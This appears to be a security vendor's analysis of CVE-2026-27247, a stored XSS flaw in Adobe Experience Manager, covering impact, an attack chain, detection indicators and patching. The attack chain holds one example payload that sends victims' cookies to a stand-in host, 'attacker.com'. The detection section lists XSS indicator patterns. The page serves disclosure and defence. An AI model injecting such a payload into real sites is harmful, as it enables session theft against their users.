CVE-2026-27247: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-27247 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged authenticated attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2026.2.0. The vulnerability was disclosed on March 10–11, 2026, with Adobe releasing a patch as part of security bulletin APSB26-24. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is then stored and executed in the browser of any victim who visits the affected page. Exploitation requires network access, low privileges, and user interaction (a victim browsing to the page containing the injected payload), with a changed scope indicating the impact crosses the security boundary of the application (Adobe Advisory).

Successful exploitation results in arbitrary JavaScript execution in the context of a victim's browser session within Adobe Experience Manager, leading to limited confidentiality and integrity impacts (CVSS C:L/I:L/A:N). Attackers could steal session tokens, perform actions on behalf of the victim, redirect users to malicious sites, or conduct further phishing attacks. The changed scope means the impact can extend beyond the attacker's own session to affect other authenticated users, including potentially higher-privileged administrators (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2026.2.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — such as text input fields in page properties, content fragments, or editable components.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context.
6. Achieve objective: Harvest session cookies, perform unauthorized actions on behalf of the victim, or escalate privileges within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in request bodies.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups to attacker-controlled domains originating from end-user workstations.
• File System / Content Repository: Presence of <script> tags or JavaScript payloads within stored AEM content nodes (JCR repository), particularly in text properties of page components or form fields.
• Browser: Unexpected redirects or pop-ups when authenticated users browse AEM-authored pages; browser developer console errors related to cross-origin requests or blocked script execution.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.24.0 or later, and update AEM Cloud Service to version 2026.2.0 or later. Organizations should apply the official security update from Adobe as soon as possible. As an interim measure, restrict the number of users with low-privileged authoring access to AEM and implement a Web Application Firewall (WAF) with XSS filtering rules to detect and block injection attempts. Review and sanitize existing stored content for malicious scripts after patching (Adobe Advisory).

The CIS (Center for Internet Security) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable flagged the vulnerability in its plugin pipeline. Community coverage has been limited, consistent with the medium severity rating and absence of active exploitation or public PoC code.